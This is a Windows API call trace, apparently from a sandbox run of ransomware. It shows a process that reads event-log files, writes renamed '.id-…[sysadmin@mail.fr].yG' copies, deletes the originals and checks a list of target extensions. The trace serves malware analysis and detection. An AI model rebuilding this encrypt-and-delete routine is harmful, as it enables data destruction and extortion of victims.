	[0053.061] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.061] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.061] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0053.061] GetLastError () returned 0x0
	[0053.062] ReadFile (in: hFile=0x34c, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.099] WriteFile (in: hFile=0x35c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.100] ReadFile (in: hFile=0x34c, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.100] WriteFile (in: hFile=0x35c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x130, lpOverlapped=0x0) returned 1
	[0053.100] SetEndOfFile (hFile=0x35c) returned 1
	[0053.115] CloseHandle (hObject=0x35c) returned 1
	[0053.117] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.117] SetEndOfFile (hFile=0x34c) returned 1
	[0053.118] CloseHandle (hObject=0x34c) returned 1
	[0053.118] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.118] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 1
	[0053.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0053.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0053.124] lstrlenW (lpString=".doc") returned 4
	[0053.124] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.124] lstrlenW (lpString=".docx") returned 5
	[0053.124] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.124] lstrlenW (lpString=".pdf") returned 4
	[0053.124] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.124] lstrlenW (lpString=".xls") returned 4
	[0053.124] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.124] lstrlenW (lpString=".xlsx") returned 5
	[0053.124] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.124] lstrlenW (lpString=".ppt") returned 4
	[0053.124] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0053.125] lstrlenW (lpString=".zip") returned 4
	[0053.125] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.125] lstrlenW (lpString=".rar") returned 4
	[0053.125] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.125] lstrlenW (lpString=".bz2") returned 4
	[0053.125] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.125] lstrlenW (lpString=".7z") returned 3
	[0053.125] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0053.125] lstrlenW (lpString=".dbf") returned 4
	[0053.125] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0053.125] lstrlenW (lpString=".1cd") returned 4
	[0053.125] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0053.125] lstrlenW (lpString=".jpg") returned 4
	[0053.125] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0053.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0053.125] lstrlenW (lpString=".doc") returned 4
	[0053.125] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.125] lstrlenW (lpString=".docx") returned 5
	[0053.125] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.125] lstrlenW (lpString=".pdf") returned 4
	[0053.125] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.125] lstrlenW (lpString=".xls") returned 4
	[0053.125] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.125] lstrlenW (lpString=".xlsx") returned 5
	[0053.125] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.125] lstrlenW (lpString=".ppt") returned 4
	[0053.126] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.126] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0053.126] lstrlenW (lpString=".zip") returned 4
	[0053.126] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.126] lstrlenW (lpString=".rar") returned 4
	[0053.126] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.126] lstrlenW (lpString=".bz2") returned 4
	[0053.126] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.126] lstrlenW (lpString=".7z") returned 3
	[0053.126] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.126] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0053.126] lstrlenW (lpString=".dbf") returned 4
	[0053.126] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.126] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0053.126] lstrlenW (lpString=".1cd") returned 4
	[0053.126] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.126] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0053.126] lstrlenW (lpString=".jpg") returned 4
	[0053.126] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.126] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.126] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Security.evtx") returned 42
	[0053.126] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0053.141] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0053.141] CloseHandle (hObject=0x398) returned 1
	[0053.141] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20
	[0053.142] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.142] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0053.142] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.142] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.142] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0053.156] GetLastError () returned 0x0
	[0053.156] ReadFile (in: hFile=0x398, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.193] WriteFile (in: hFile=0x394, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.195] ReadFile (in: hFile=0x398, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.195] WriteFile (in: hFile=0x394, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x128, lpOverlapped=0x0) returned 1
	[0053.195] SetEndOfFile (hFile=0x394) returned 1
	[0053.238] CloseHandle (hObject=0x394) returned 1
	[0053.244] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.244] SetEndOfFile (hFile=0x398) returned 1
	[0053.246] CloseHandle (hObject=0x398) returned 1
	[0053.250] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.251] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 1
	[0053.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0053.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0053.251] lstrlenW (lpString=".doc") returned 4
	[0053.251] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.251] lstrlenW (lpString=".docx") returned 5
	[0053.251] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.251] lstrlenW (lpString=".pdf") returned 4
	[0053.251] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.251] lstrlenW (lpString=".xls") returned 4
	[0053.251] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.251] lstrlenW (lpString=".xlsx") returned 5
	[0053.251] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.251] lstrlenW (lpString=".ppt") returned 4
	[0053.251] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0053.252] lstrlenW (lpString=".zip") returned 4
	[0053.252] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.252] lstrlenW (lpString=".rar") returned 4
	[0053.252] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.252] lstrlenW (lpString=".bz2") returned 4
	[0053.252] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.252] lstrlenW (lpString=".7z") returned 3
	[0053.252] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0053.252] lstrlenW (lpString=".dbf") returned 4
	[0053.252] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0053.252] lstrlenW (lpString=".1cd") returned 4
	[0053.252] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0053.252] lstrlenW (lpString=".jpg") returned 4
	[0053.252] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0053.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0053.252] lstrlenW (lpString=".doc") returned 4
	[0053.252] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.252] lstrlenW (lpString=".docx") returned 5
	[0053.252] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.252] lstrlenW (lpString=".pdf") returned 4
	[0053.252] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.252] lstrlenW (lpString=".xls") returned 4
	[0053.252] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.252] lstrlenW (lpString=".xlsx") returned 5
	[0053.252] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.252] lstrlenW (lpString=".ppt") returned 4
	[0053.252] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0053.252] lstrlenW (lpString=".zip") returned 4
	[0053.252] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.252] lstrlenW (lpString=".rar") returned 4
	[0053.252] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.252] lstrlenW (lpString=".bz2") returned 4
	[0053.252] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.253] lstrlenW (lpString=".7z") returned 3
	[0053.253] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0053.253] lstrlenW (lpString=".dbf") returned 4
	[0053.253] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0053.253] lstrlenW (lpString=".1cd") returned 4
	[0053.253] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0053.253] lstrlenW (lpString=".jpg") returned 4
	[0053.253] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.253] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.253] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 66
	[0053.253] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0053.253] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0053.253] CloseHandle (hObject=0x350) returned 1
	[0053.253] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20
	[0053.253] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.253] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0053.254] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.254] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.254] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0053.254] GetLastError () returned 0x0
	[0053.254] ReadFile (in: hFile=0x350, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.269] WriteFile (in: hFile=0x348, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.270] ReadFile (in: hFile=0x350, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.270] WriteFile (in: hFile=0x348, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x158, lpOverlapped=0x0) returned 1
	[0053.270] SetEndOfFile (hFile=0x348) returned 1
	[0053.280] CloseHandle (hObject=0x348) returned 1
	[0053.282] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.282] SetEndOfFile (hFile=0x350) returned 1
	[0053.283] CloseHandle (hObject=0x350) returned 1
	[0053.283] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.283] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 1
	[0053.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0053.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0053.294] lstrlenW (lpString=".doc") returned 4
	[0053.294] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.294] lstrlenW (lpString=".docx") returned 5
	[0053.294] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.294] lstrlenW (lpString=".pdf") returned 4
	[0053.294] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.294] lstrlenW (lpString=".xls") returned 4
	[0053.294] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.294] lstrlenW (lpString=".xlsx") returned 5
	[0053.294] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.294] lstrlenW (lpString=".ppt") returned 4
	[0053.294] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0053.294] lstrlenW (lpString=".zip") returned 4
	[0053.294] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.294] lstrlenW (lpString=".rar") returned 4
	[0053.294] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.294] lstrlenW (lpString=".bz2") returned 4
	[0053.294] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.294] lstrlenW (lpString=".7z") returned 3
	[0053.294] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0053.294] lstrlenW (lpString=".dbf") returned 4
	[0053.294] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0053.294] lstrlenW (lpString=".1cd") returned 4
	[0053.294] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0053.294] lstrlenW (lpString=".jpg") returned 4
	[0053.295] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.295] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0053.295] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0053.295] lstrlenW (lpString=".doc") returned 4
	[0053.295] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.295] lstrlenW (lpString=".docx") returned 5
	[0053.295] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.295] lstrlenW (lpString=".pdf") returned 4
	[0053.295] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.295] lstrlenW (lpString=".xls") returned 4
	[0053.295] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.295] lstrlenW (lpString=".xlsx") returned 5
	[0053.295] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.295] lstrlenW (lpString=".ppt") returned 4
	[0053.295] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.295] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0053.295] lstrlenW (lpString=".zip") returned 4
	[0053.295] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.295] lstrlenW (lpString=".rar") returned 4
	[0053.295] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.295] lstrlenW (lpString=".bz2") returned 4
	[0053.295] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.295] lstrlenW (lpString=".7z") returned 3
	[0053.295] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.295] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0053.295] lstrlenW (lpString=".dbf") returned 4
	[0053.295] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.295] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0053.295] lstrlenW (lpString=".1cd") returned 4
	[0053.295] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.295] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0053.295] lstrlenW (lpString=".jpg") returned 4
	[0053.295] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.296] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.296] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 70
	[0053.296] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0053.318] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0053.319] CloseHandle (hObject=0x350) returned 1
	[0053.319] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20
	[0053.319] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.319] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0053.319] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.319] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.319] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0053.321] GetLastError () returned 0x0
	[0053.321] ReadFile (in: hFile=0x350, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
